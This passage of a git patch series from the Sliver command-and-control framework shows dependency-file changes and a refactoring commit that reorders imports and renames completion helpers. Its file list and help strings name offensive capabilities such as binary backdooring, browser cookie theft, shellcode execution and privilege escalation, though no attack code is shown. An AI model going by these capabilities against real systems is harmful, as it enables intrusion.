h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= -github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-isatty v0.0.18 h1:DOKFKCQ7FNG2L1rbrmstDN4QVRdS89Nkh85u68Uwp98= github.com/mattn/go-isatty v0.0.18/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= @@ -345,7 +338,6 @@ github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6Mwd github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= -github.com/spf13/cobra v1.4.0/go.mod h1:Wo4iy3BUC+X2Fybo0PDqwJIv3dNRiZLHQymsfxlB84g= github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I= github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= @@ -472,7 +464,6 @@ golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200217220822-9197077df867/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200728102440-3e129f6d46b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -483,7 +474,6 @@ golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20210301091718-77cc2087c03b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211025201205-69cdffdb9359/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211103235746-7861aae1554b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= @@ -581,7 +571,6 @@ gopkg.in/jcmturner/rpc.v1 v1.1.0/go.mod h1:YIdkC4XfD6GXbzje11McwsDuOlZQSb9W4vfLv gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= -gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= diff --git a/vendor/modules.txt b/vendor/modules.txt index 7ab05de32a..4615c0c69f 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -365,9 +365,6 @@ github.com/insomniacslk/dhcp/dhcpv4 github.com/insomniacslk/dhcp/iana github.com/insomniacslk/dhcp/interfaces github.com/insomniacslk/dhcp/rfc1035label -# github.com/ivanpirog/coloredcobra v1.0.1 -## explicit; go 1.15 -github.com/ivanpirog/coloredcobra # github.com/jackc/pgpassfile v1.0.0 ## explicit; go 1.12 github.com/jackc/pgpassfile From f2566210c56115404dc7199242a4df1b55a3b401 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 11 Aug 2023 01:47:59 +0200 Subject: [PATCH 083/124] Rename flag/comp util functions --- client/command/alias/alias.go | 7 +++--- client/command/alias/commands.go | 13 ++++++----- client/command/alias/install.go | 3 ++- client/command/alias/load.go | 9 ++++---- client/command/alias/remove.go | 3 ++- client/command/armory/armory.go | 7 +++--- client/command/armory/commands.go | 13 ++++++----- client/command/armory/completion.go | 3 ++- client/command/armory/install.go | 3 ++- client/command/armory/search.go | 3 ++- client/command/armory/update.go | 3 ++- client/command/backdoor/backdoor.go | 3 ++- client/command/backdoor/commands.go | 10 ++++---- client/command/beacons/beacons.go | 7 +++--- client/command/beacons/commands.go | 10 ++++---- client/command/beacons/helpers.go | 1 + client/command/beacons/prune.go | 3 ++- client/command/beacons/rm.go | 3 ++- client/command/beacons/watch.go | 3 ++- client/command/builders/builders.go | 5 ++-- client/command/builders/commands.go | 5 ++-- client/command/command.go | 3 ++- client/command/completers/completers.go | 23 +++++++++++++++++++ client/command/crack/commands.go | 7 +++--- client/command/crack/crack-files.go | 7 +++--- client/command/crack/crack.go | 5 ++-- client/command/crack/helpers.go | 3 ++- client/command/creds/add.go | 3 ++- client/command/creds/commands.go | 12 ++++++---- client/command/creds/creds.go | 7 +++--- client/command/creds/rm.go | 3 ++- client/command/creds/select.go | 1 + client/command/cursed/commands.go | 14 ++++++----- client/command/cursed/cursed-chrome.go | 3 ++- client/command/cursed/cursed-console.go | 5 ++-- client/command/cursed/cursed-cookies.go | 3 ++- client/command/cursed/cursed-edge.go | 3 ++- client/command/cursed/cursed-electron.go | 3 ++- client/command/cursed/cursed-rm.go | 3 ++- client/command/cursed/cursed-screenshot.go | 3 ++- client/command/cursed/cursed.go | 5 ++-- client/command/dllhijack/commands.go | 10 ++++---- client/command/dllhijack/dllhijack.go | 3 ++- client/command/environment/commands.go | 7 +++--- client/command/environment/get.go | 5 ++-- client/command/environment/set.go | 5 ++-- client/command/environment/unset.go | 5 ++-- client/command/exec/commands.go | 18 ++++++++------- client/command/exec/execute-assembly.go | 5 ++-- client/command/exec/execute-shellcode.go | 7 +++--- client/command/exec/execute.go | 5 ++-- client/command/exec/migrate.go | 3 ++- client/command/exec/msf-inject.go | 5 ++-- client/command/exec/msf.go | 5 ++-- client/command/exec/psexec.go | 3 ++- client/command/exec/sideload.go | 5 ++-- client/command/exec/spawndll.go | 5 ++-- client/command/exec/ssh.go | 5 ++-- client/command/exit/exit.go | 3 ++- client/command/extensions/commands.go | 5 ++-- client/command/extensions/extensions.go | 7 +++--- client/command/extensions/install.go | 3 ++- client/command/extensions/list.go | 3 ++- client/command/extensions/load.go | 11 +++++---- client/command/extensions/remove.go | 3 ++- client/command/filesystem/cat.go | 5 ++-- client/command/filesystem/cd.go | 5 ++-- client/command/filesystem/chmod.go | 5 ++-- client/command/filesystem/chown.go | 5 ++-- client/command/filesystem/chtimes.go | 5 ++-- client/command/filesystem/commands.go | 10 ++++---- client/command/filesystem/cp.go | 5 ++-- client/command/filesystem/download.go | 7 +++--- client/command/filesystem/ls.go | 7 +++--- client/command/filesystem/memfiles-add.go | 5 ++-- client/command/filesystem/memfiles-list.go | 5 ++-- client/command/filesystem/memfiles-rm.go | 5 ++-- client/command/filesystem/mkdir.go | 5 ++-- client/command/filesystem/mv.go | 5 ++-- client/command/filesystem/pwd.go | 5 ++-- client/command/filesystem/rm.go | 5 ++-- client/command/filesystem/upload.go | 5 ++-- client/command/flags/flags.go | 23 ------------------- client/command/generate/canaries.go | 5 ++-- client/command/generate/commands.go | 18 ++++++++------- client/command/generate/generate-beacon.go | 3 ++- client/command/generate/generate-info.go | 3 ++- client/command/generate/generate-stager.go | 3 ++- client/command/generate/generate.go | 3 ++- client/command/generate/helpers.go | 7 +++--- client/command/generate/implants-rm.go | 3 ++- client/command/generate/implants.go | 7 +++--- client/command/generate/profiles-generate.go | 3 ++- client/command/generate/profiles-new.go | 3 ++- client/command/generate/profiles-rm.go | 3 ++- client/command/generate/profiles.go | 7 +++--- client/command/generate/regenerate.go | 3 ++- client/command/generate/traffic-encoders.go | 13 ++++++----- client/command/history/history.go | 7 +++--- client/command/hosts/commands.go | 5 ++-- client/command/hosts/hosts-ioc-rm.go | 3 ++- client/command/hosts/hosts-ioc.go | 5 ++-- client/command/hosts/hosts-rm.go | 3 ++- client/command/hosts/hosts.go | 5 ++-- client/command/info/commands.go | 7 +++--- client/command/info/info.go | 5 ++-- client/command/info/ping.go | 3 ++- client/command/jobs/commands.go | 14 ++++++----- client/command/jobs/dns.go | 3 ++- client/command/jobs/http.go | 3 ++- client/command/jobs/https.go | 3 ++- client/command/jobs/jobs.go | 7 +++--- client/command/jobs/mtls.go | 3 ++- client/command/jobs/named-pipe.go | 3 ++- client/command/jobs/stage.go | 3 ++- client/command/jobs/tcp.go | 3 ++- client/command/jobs/wg.go | 3 ++- client/command/kill/commands.go | 5 ++-- client/command/kill/kill.go | 3 ++- client/command/loot/commands.go | 16 +++++++------ client/command/loot/fetch.go | 3 ++- client/command/loot/helpers.go | 3 ++- client/command/loot/local.go | 3 ++- client/command/loot/loot.go | 5 ++-- client/command/loot/remote.go | 5 ++-- client/command/loot/rename.go | 3 ++- client/command/loot/rm.go | 3 ++- client/command/monitor/commands.go | 3 ++- client/command/monitor/start.go | 3 ++- client/command/monitor/stop.go | 3 ++- client/command/network/commands.go | 5 ++-- client/command/network/ifconfig.go | 7 +++--- client/command/network/netstat.go | 7 +++--- client/command/pivots/commands.go | 10 ++++---- client/command/pivots/details.go | 5 ++-- client/command/pivots/graph.go | 3 ++- client/command/pivots/helpers.go | 3 ++- client/command/pivots/pivots.go | 5 ++-- client/command/pivots/stop.go | 3 ++- client/command/portfwd/commands.go | 11 +++++---- client/command/portfwd/portfwd-add.go | 3 ++- client/command/portfwd/portfwd-rm.go | 3 ++- client/command/portfwd/portfwd.go | 7 +++--- client/command/prelude-operator/commands.go | 7 +++--- client/command/prelude-operator/connect.go | 3 ++- client/command/prelude-operator/operator.go | 3 ++- client/command/privilege/commands.go | 7 +++--- client/command/privilege/getprivs.go | 5 ++-- client/command/privilege/getsystem.go | 5 ++-- client/command/privilege/impersonate.go | 5 ++-- client/command/privilege/make-token.go | 5 ++-- client/command/privilege/rev2self.go | 5 ++-- client/command/privilege/runas.go | 5 ++-- client/command/processes/commands.go | 10 ++++---- client/command/processes/procdump.go | 5 ++-- client/command/processes/ps.go | 9 ++++---- client/command/processes/pstree.go | 3 ++- client/command/processes/terminate.go | 5 ++-- client/command/reaction/commands.go | 5 ++-- client/command/reaction/helpers.go | 3 ++- client/command/reaction/reaction.go | 5 ++-- client/command/reaction/reload.go | 3 ++- client/command/reaction/save.go | 3 ++- client/command/reaction/set.go | 3 ++- client/command/reaction/unset.go | 3 ++- client/command/reconfig/commands.go | 5 ++-- client/command/reconfig/reconfig.go | 5 ++-- client/command/reconfig/rename.go | 3 ++- client/command/registry/commands.go | 7 +++--- client/command/registry/reg-create.go | 5 ++-- client/command/registry/reg-delete.go | 5 ++-- client/command/registry/reg-list.go | 5 ++-- client/command/registry/reg-read.go | 5 ++-- client/command/registry/reg-write.go | 5 ++-- client/command/rportfwd/commands.go | 11 +++++---- client/command/rportfwd/portfwd-add.go | 3 ++- client/command/rportfwd/portfwd-rm.go | 3 ++- client/command/rportfwd/portfwd.go | 7 +++--- client/command/screenshot/commands.go | 10 ++++---- client/command/screenshot/screenshot.go | 5 ++-- client/command/sessions/background.go | 3 ++- client/command/sessions/close.go | 3 ++- client/command/sessions/commands.go | 10 ++++---- client/command/sessions/helpers.go | 3 ++- client/command/sessions/interactive.go | 3 ++- client/command/sessions/prune.go | 3 ++- client/command/sessions/sessions.go | 7 +++--- client/command/settings/beacons.go | 3 ++- client/command/settings/commands.go | 5 ++-- client/command/settings/opsec.go | 3 ++- client/command/settings/settings.go | 5 ++-- client/command/settings/tables.go | 5 ++-- client/command/shell/commands.go | 5 ++-- client/command/shell/shell.go | 5 ++-- client/command/shikata-ga-nai/commands.go | 10 ++++---- client/command/shikata-ga-nai/sgn.go | 3 ++- client/command/socks/commands.go | 11 +++++---- client/command/socks/socks-start.go | 5 ++-- client/command/socks/socks-stop.go | 3 ++- client/command/socks/socks.go | 7 +++--- client/command/taskmany/taskmany.go | 3 ++- client/command/tasks/fetch.go | 9 ++++---- client/command/tasks/helpers.go | 3 ++- client/command/tasks/tasks-cancel.go | 3 ++- client/command/tasks/tasks.go | 5 ++-- client/command/update/commands.go | 9 ++++---- client/command/update/update.go | 5 ++-- client/command/use/beacons.go | 3 ++- client/command/use/commands.go | 7 +++--- client/command/use/sessions.go | 3 ++- client/command/use/use.go | 5 ++-- client/command/wasm/commands.go | 10 ++++---- client/command/wasm/memfs.go | 3 ++- client/command/wasm/wasm.go | 5 ++-- client/command/websites/commands.go | 14 ++++++----- .../command/websites/websites-add-content.go | 3 ++- .../command/websites/websites-rm-content.go | 3 ++- client/command/websites/websites-rm.go | 3 ++- .../websites/websites-update-content.go | 3 ++- client/command/websites/websites.go | 7 +++--- client/command/wireguard/commands.go | 10 ++++---- client/command/wireguard/wg-config.go | 3 ++- client/command/wireguard/wg-portfwd-add.go | 3 ++- client/command/wireguard/wg-portfwd-rm.go | 5 ++-- client/command/wireguard/wg-portfwd.go | 5 ++-- client/command/wireguard/wg-socks-start.go | 3 ++- client/command/wireguard/wg-socks-stop.go | 3 ++- client/command/wireguard/wg-socks.go | 7 +++--- 228 files changed, 735 insertions(+), 491 deletions(-) diff --git a/client/command/alias/alias.go b/client/command/alias/alias.go index 47bddfb9bb..1e8382aaf9 100644 --- a/client/command/alias/alias.go +++ b/client/command/alias/alias.go @@ -24,13 +24,14 @@ import ( "io/ioutil" "strings" - "github.com/bishopfox/sliver/client/assets" - "github.com/bishopfox/sliver/client/command/settings" - "github.com/bishopfox/sliver/client/console" "github.com/jedib0t/go-pretty/v6/table" "github.com/jedib0t/go-pretty/v6/text" "github.com/rsteube/carapace" "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/assets" + "github.com/bishopfox/sliver/client/command/settings" + "github.com/bishopfox/sliver/client/console" ) // AliasesCmd - The alias command. diff --git a/client/command/alias/commands.go b/client/command/alias/commands.go index d8b86be31f..b9f48ee227 100644 --- a/client/command/alias/commands.go +++ b/client/command/alias/commands.go @@ -1,12 +1,13 @@ package alias import ( - "github.com/bishopfox/sliver/client/command/flags" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" ) // Commands returns the `alias` command and its child commands. @@ -31,7 +32,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { }, } aliasCmd.AddCommand(aliasLoadCmd) - flags.NewCompletions(aliasLoadCmd).PositionalCompletion(carapace.ActionDirectories().Tag("alias directory").Usage("path to the alias directory")) + completers.NewCompsFor(aliasLoadCmd).PositionalCompletion(carapace.ActionDirectories().Tag("alias directory").Usage("path to the alias directory")) aliasInstallCmd := &cobra.Command{ Use: consts.InstallStr + " [ALIAS]", @@ -43,7 +44,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { }, } aliasCmd.AddCommand(aliasInstallCmd) - flags.NewCompletions(aliasInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("alias file")) + completers.NewCompsFor(aliasInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("alias file")) aliasRemove := &cobra.Command{ Use: consts.RmStr + " [ALIAS]", @@ -54,7 +55,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { AliasesRemoveCmd(cmd, con, args) }, } - flags.NewCompletions(aliasRemove).PositionalCompletion(AliasCompleter()) + completers.NewCompsFor(aliasRemove).PositionalCompletion(AliasCompleter()) aliasCmd.AddCommand(aliasRemove) return []*cobra.Command{aliasCmd} diff --git a/client/command/alias/install.go b/client/command/alias/install.go index 663e9c0ebd..5fef274d7f 100644 --- a/client/command/alias/install.go +++ b/client/command/alias/install.go @@ -26,10 +26,11 @@ import ( "strings" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/util" - "github.com/spf13/cobra" ) // AliasesInstallCmd - Install an alias. diff --git a/client/command/alias/load.go b/client/command/alias/load.go index 470fadd946..672d9c8b5f 100644 --- a/client/command/alias/load.go +++ b/client/command/alias/load.go @@ -28,6 +28,11 @@ import ( "strings" "github.com/AlecAivazis/survey/v2" + app "github.com/reeflective/console" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" @@ -35,10 +40,6 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util" - app "github.com/reeflective/console" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "google.golang.org/protobuf/proto" ) const ( diff --git a/client/command/alias/remove.go b/client/command/alias/remove.go index 850b2cd292..d84d1b168f 100644 --- a/client/command/alias/remove.go +++ b/client/command/alias/remove.go @@ -25,9 +25,10 @@ import ( "path/filepath" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/console" - "github.com/spf13/cobra" ) // AliasesRemoveCmd - Locally load a alias into the Sliver shell. diff --git a/client/command/armory/armory.go b/client/command/armory/armory.go index b098b4b8e6..0c3bee396c 100644 --- a/client/command/armory/armory.go +++ b/client/command/armory/armory.go @@ -26,15 +26,16 @@ import ( "sync" "time" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "golang.org/x/term" + "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/extensions" "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/server/cryptography/minisign" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "golang.org/x/term" ) const ( diff --git a/client/command/armory/commands.go b/client/command/armory/commands.go index 87157225cf..e14efb8fd8 100644 --- a/client/command/armory/commands.go +++ b/client/command/armory/commands.go @@ -1,14 +1,15 @@ package armory import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the `armory` command and its subcommands. @@ -28,7 +29,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.BoolP("ignore-cache", "c", false, "ignore metadata cache, force refresh") f.StringP("timeout", "t", "15m", "download timeout") }) - flags.BindFlagCompletions(armoryCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(armoryCmd, func(comp *carapace.ActionMap) { (*comp)["proxy"] = completers.LocalProxyCompleter() }) @@ -42,7 +43,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { }, } armoryCmd.AddCommand(armoryInstallCmd) - flags.NewCompletions(armoryInstallCmd).PositionalCompletion( + completers.NewCompsFor(armoryInstallCmd).PositionalCompletion( AliasExtensionOrBundleCompleter().Usage("name of the extension or alias to install"), ) @@ -66,7 +67,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { }, } armoryCmd.AddCommand(armorySearchCmd) - flags.NewCompletions(armorySearchCmd).PositionalCompletion(carapace.ActionValues().Usage("a name regular expression")) + completers.NewCompsFor(armorySearchCmd).PositionalCompletion(carapace.ActionValues().Usage("a name regular expression")) return []*cobra.Command{armoryCmd} } diff --git a/client/command/armory/completion.go b/client/command/armory/completion.go index fd592e1062..3097698cdc 100644 --- a/client/command/armory/completion.go +++ b/client/command/armory/completion.go @@ -25,10 +25,11 @@ import ( "path/filepath" "time" + "github.com/rsteube/carapace" + "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/extensions" - "github.com/rsteube/carapace" ) // AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names. diff --git a/client/command/armory/install.go b/client/command/armory/install.go index 1df01e720d..9f5845da74 100644 --- a/client/command/armory/install.go +++ b/client/command/armory/install.go @@ -26,12 +26,13 @@ import ( "path/filepath" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/extensions" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/server/cryptography/minisign" - "github.com/spf13/cobra" ) // ErrPackageNotFound - The package was not found. diff --git a/client/command/armory/search.go b/client/command/armory/search.go index 3e51acc8fd..ce3fd743f7 100644 --- a/client/command/armory/search.go +++ b/client/command/armory/search.go @@ -21,10 +21,11 @@ package armory import ( "regexp" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/extensions" "github.com/bishopfox/sliver/client/console" - "github.com/spf13/cobra" ) // ArmorySearchCmd - Search for packages by name. diff --git a/client/command/armory/update.go b/client/command/armory/update.go index 3fb3a622d7..c8eb114a10 100644 --- a/client/command/armory/update.go +++ b/client/command/armory/update.go @@ -22,11 +22,12 @@ import ( "os" "strings" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/extensions" "github.com/bishopfox/sliver/client/console" - "github.com/spf13/cobra" ) // ArmoryUpdateCmd - Update all installed extensions/aliases. diff --git a/client/command/backdoor/backdoor.go b/client/command/backdoor/backdoor.go index b4de5bd30a..66e2c2e346 100644 --- a/client/command/backdoor/backdoor.go +++ b/client/command/backdoor/backdoor.go @@ -21,9 +21,10 @@ package backdoor import ( "fmt" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/spf13/cobra" ) // BackdoorCmd - Command to inject implant code into an existing binary. diff --git a/client/command/backdoor/commands.go b/client/command/backdoor/commands.go index 72f893e788..1b56221d6d 100644 --- a/client/command/backdoor/commands.go +++ b/client/command/backdoor/commands.go @@ -1,14 +1,16 @@ package backdoor import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/generate" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -28,7 +30,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("profile", "p", "", "profile to use for service binary") f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) - flags.BindFlagCompletions(backdoorCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(backdoorCmd, func(comp *carapace.ActionMap) { (*comp)["profile"] = generate.ProfileNameCompleter(con) }) carapace.Gen(backdoorCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the remote file to backdoor")) diff --git a/client/command/beacons/beacons.go b/client/command/beacons/beacons.go index 02f0928381..8689680cf2 100644 --- a/client/command/beacons/beacons.go +++ b/client/command/beacons/beacons.go @@ -24,14 +24,15 @@ import ( "strings" "time" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "golang.org/x/term" + "github.com/bishopfox/sliver/client/command/kill" "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "golang.org/x/term" ) // BeaconsCmd - Display/interact with beacons. diff --git a/client/command/beacons/commands.go b/client/command/beacons/commands.go index 3854737ebb..78885af22f 100644 --- a/client/command/beacons/commands.go +++ b/client/command/beacons/commands.go @@ -5,14 +5,16 @@ import ( "fmt" "strings" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -37,7 +39,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("filter", "f", "", "filter beacons by substring") f.StringP("filter-re", "e", "", "filter beacons by regular expression") }) - flags.BindFlagCompletions(beaconsCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(beaconsCmd, func(comp *carapace.ActionMap) { (*comp)["kill"] = BeaconIDCompleter(con) }) beaconsRmCmd := &cobra.Command{ diff --git a/client/command/beacons/helpers.go b/client/command/beacons/helpers.go index 6a651cb07c..be772a12b7 100644 --- a/client/command/beacons/helpers.go +++ b/client/command/beacons/helpers.go @@ -27,6 +27,7 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" diff --git a/client/command/beacons/prune.go b/client/command/beacons/prune.go index 478c98aa21..a408efb53d 100644 --- a/client/command/beacons/prune.go +++ b/client/command/beacons/prune.go @@ -22,10 +22,11 @@ import ( "time" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/spf13/cobra" ) // BeaconsPruneCmd - Prune stale beacons automatically. diff --git a/client/command/beacons/rm.go b/client/command/beacons/rm.go index bd626eb193..d0ee108d94 100644 --- a/client/command/beacons/rm.go +++ b/client/command/beacons/rm.go @@ -22,9 +22,10 @@ import ( "context" "strings" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/spf13/cobra" ) // BeaconsRmCmd - Display/interact with beacons. diff --git a/client/command/beacons/watch.go b/client/command/beacons/watch.go index 242c365fb7..9c4a514dab 100644 --- a/client/command/beacons/watch.go +++ b/client/command/beacons/watch.go @@ -24,9 +24,10 @@ import ( "strings" "time" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/spf13/cobra" ) // BeaconsWatchCmd - Watch your beacons in real-ish time. diff --git a/client/command/builders/builders.go b/client/command/builders/builders.go index 2c14e4f1ec..7da2b003b1 100644 --- a/client/command/builders/builders.go +++ b/client/command/builders/builders.go @@ -23,12 +23,13 @@ import ( "fmt" "strings" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + 